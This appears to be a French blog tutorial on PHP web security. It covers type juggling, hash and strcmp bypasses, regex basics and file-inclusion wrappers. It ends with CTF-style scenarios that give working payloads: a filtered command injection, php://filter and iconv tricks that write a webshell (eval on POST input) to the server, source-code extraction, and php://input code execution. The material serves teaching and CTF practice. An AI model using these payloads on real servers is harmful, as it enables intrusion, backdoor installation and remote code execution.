Sécurité Web PHP : Contournement de fonctions, expressions régulières et vulnérabilités d'inclusion de fichiers

Sécurité des fonctions PHP et manipulation de types

Contournement de is_numeric et gestion des espaces

La fonction is_numeric() vérifie si une variable est un nombre ou une chaîne numérique. Elle est stricte et renvoie false si des caractères non numériques sont présents. Cependant, lors d'une comparaison non stricte (==), PHP analyse la chaîne depuis le début jusqu'au premier caractère non numérique. En ajoutant des caractères d'espacement encodés en URL (comme %0a, %0b, %0c, %0d, %09) à la fin d'un nombre, is_numeric() échouera, mais la comparaison faible traitera la valeur comme un nombre valide.

Précision des nombres flottants (IEEE 754)

PHP utilise le standard IEEE 754 pour les nombres à virgule flottante en double précision (64 bits : 1 bit de signe, 11 bits d'exposant, 52 bits de mantisse). La conversion entre le système décimal et binaire entraîne des imprécisions inhérentes.

<?php
$val1 = 0.3 + 0.6;
var_dump($val1);         // Affiche: float(0.8999999999999999)
var_dump($val1 == 0.9);  // Affiche: bool(false)
?>

L'erreur reltaive maximale lors de l'arrondi peut atteindre 1.11e-16. Par conséquent, les comparaisons directes de flottants doivent être évitées au profit de fonctions comme bccomp() ou de l'utilisation d'un seuil de tolérance (epsilon).

Comparaisons faibles et conversions de types implicites

PHP distingue la comparaison faible (==) qui convertit les types avant de comparer les valeurs, et la comparaison stricte (===) qui vérifie d'abord l'égalité des types. Les conversions implicites présentent des comportements notables :

  • Chaînes vers entiers : Une chaîne commençant par des chiffres est convertie en sa valeur numérique initiale. Si elle ne commence pas par un chiffre, elle vaut 0. Les notations scientifiques (ex: "0e12345") sont évaluées à 0.
  • Booléens : Toute chaîne non vide (sauf "0") est évaluée à true.
  • Tableaux : Un tableau vide vaut 0 ou false. Un tableau contenant un seul élément est comparé à cet élément.
  • NULL : NULL est équivalent à 0, "" et false en comparaison faible, mais pas à "0".

Vulnérabilités liées aux fonctions de hachage et de comparaison

  • strcmp() : Attend deux chaînes. Si un tableau est passé en arguement, la fonction génère une erreur et renvoie NULL. Dans une condition comme strcmp($input, $secret) == 0, passer un tableau (?input[]=a) permet de contourner la vérification car NULL == 0 est vrai.
  • md5() et sha1() :
    • Contournement par tableau : Passer un tableau renvoie NULL.
    • Collisions magiques (Magic Hashes) : Les chaînes dont le hachage MD5 commence par 0e suivi uniquement de chiffres sont interprétées comme 0 en notation scientifique lors d'une comparaison faible (ex: md5("QNKCDZO") == md5("240610708")).
    • Collisions réelles : Des outils comme FastColl permettent de générer deux fichiers binaires distincts ayant le même hachage MD5.
  • Variables variables ($$) : Permettent d'utiliser la valeur d'une variable comme nom pour une autre. Si les entrées utilisateur contrôlent les noms de variables via une boucle foreach, un attaquant peut écraser des variables critiques.
<?php
$access_level = "guest";
foreach ($_GET as $key => $value) {
    $$key = $value; // Vulnérabilité : ?access_level=admin écrase la variable
}
if ($access_level === "admin") {
    echo "Accès administrateur accordé.";
}
?>

Fondamentaux des expressions régulières (Regex)

Les expressions régulières définissent des motifs de recherche via des caractères littéraux et des métacaractères.

Classes de caractères

Motif Description
[a-z], [A-Z], [0-9] Plages de lettres minuscules, majuscules et chiffres.
\d, \D Chiffre ([0-9]) / Non-chiffre.
\w, \W Caractère de mot ([A-Za-z0-9_]) / Non-caractère de mot.
\s, \S Espace blanc (espace, tabulation, saut de ligne) / Non-espace blanc.
. N'importe quel caractère unique (sauf saut de ligne par défaut).

Métacaractères et quantificateurs

Symbole Fonction
*, +, ? Zéro ou plus, un ou plus, zéro ou un.
{n,m} Entre n et m occurrences.
^, $ Début et fin de la chaîne.
\b Limite de mot.
(...), (?:...) Groupe capturant / Groupe non capturant.

Vulnérabilités d'inclusion de fichiers (LFI / RFI)

L'inclusion de fichiers permet de réutiliser du code. Lorsque le chemin du fichier est contrôlé par l'utilisateur sans validation adéquate, cela conduit à des vulnérabilités d'inclusion locale (LFI) ou distante (RFI). L'exploitation dépend des directives php.ini : allow_url_fopen et allow_url_include.

Protocoles de flux (Wrappers)

  • file:// : Accède au système de fichiers local. Utile pour lire des fichiers sensibles comme /etc/passwd via des traversées de répertoires (../../).
  • data:// : Permet d'injecter des données directement dans le flux. Nécessite allow_url_include=On. Exemple : data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+.
  • php:// : Accède aux flux d'entrée/sortie.
    • php://input : Lit le corps brut de la requête POST. Permet l'exécution de code PHP si inclus.
    • php://filter : Applique des filtres de transformation à la volée lors de la lecture ou de l'écriture. Extrêmement utile pour lire le code source de fichiers PHP sans les exécuter, ou pour contourner des restrictions d'écriture.

Techniques de contournement courantes

  • Troncature par octet nul : Utilisation de %00 pour ignorer les extensions forcées par le code (ex: include($file . ".php")). Efficace sur les anciennes versions de PHP (< 5.3.4).
  • Remplissage par points/espaces : Sur Windows, l'ajout de multiples points ou espaces à la fin du chemin est ignoré par le système de fichiers.
  • Filtres de conversion (iconv) : Permet de modifier l'encodage des caractères pour corrompre des instructions PHP injectées par le serveur (comme <?php die(); ?>) tout en préservant la charge utile de l'attaquant.

Cas pratiques d'exploitation et scénarios CTF

Scénario 1 : Injection de commandes avec filtrage

Face à une application filtrant les caractères comme ;, |, cat, et flag, l'injection de commandes peut être réalisée en utilisant des sauts de ligne encodés (%0a) pour séparer les commandes, des tabulations (%09) pour remplacer les espaces, et des barres obliques inverses pour casser les mots-clés filtrés.

# Payload URL encodé
?ip=127.0.0.1%0als%0als%09f\lag_dir%0acd%09f\lag_dir%0aca\t%09fl\ag_file.php

Scénario 2 : Contournement de file_put_contents avec conversion d'encodage

Considérons un script qui écrit dans un fichier en préfixant le contenu avec une instruction de terminaison :

<?php
$target = $_GET['target'];
$payload = $_POST['data'];
file_put_contents($target, "<?php exit('Denied'); ?>" . $payload);
?>

Pour neutraliser <?php exit('Denied'); ?>, on peut utiliser le filtre convert.iconv.UCS-2LE.UCS-2BE. Ce filtre inverse l'ordre des octets (endianness). Le code PHP du serveur devient illisible et inerte, tandis que la charge utile, préalablement encodée en UCS-2BE par l'attaquant, est décodée en UCS-2LE (format standard) et s'exécute correctement.

# Requête GET
?target=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php

# Requête POST (données encodées en UCS-2BE)
data=?<hp tsyesm"ac( tlf"*;)

Scénario 3 : Extraction de code source via php://filter

Lorsque l'inclusion d'un fichier PHP exécute le code au lieu de l'afficher, l'utilisation de php://filter avec un encodage Base64 permet de récupérer le code source brut.

# Lecture du code source de config.php
?file=php://filter/read=convert.base64-encode/resource=config.php

Scénario 4 : Écriture de Webshell via filtres Base64

Si une application utilise file_put_contents() avec des filtres sur le contenu, il est possible d'écrire un webshell en encodant la charge utile en Base64 et en demandant au serveur de la décoder lors de l'écriture.

# Requête GET
?filename=php://filter/write=convert.base64-decode/resource=backdoor.php

# Requête POST (Payload Base64 sans les caractères de padding '=' pour éviter les filtres)
data=PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg

Scénario 5 : Exploitation de php://input en mode brut

L'utilisation de php://input nécessite l'envoi de données brutes (Raw) dans le corps de la requête POST. Les outils classiques de formulaire HTML ou certaines extensions de navigateur qui modifient l'en-tête Content-Type peuvent faire échouer l'exploitation. L'envoi doit se faire via des outils comme Burp Suite ou cURL en conservant le corps brut.

GET /index.php?include=php://input HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded

<?php system('id'); ?>

Étiquettes: PHP LFI RFI TypeJuggling regex

Publié le 8 juillet à 20h30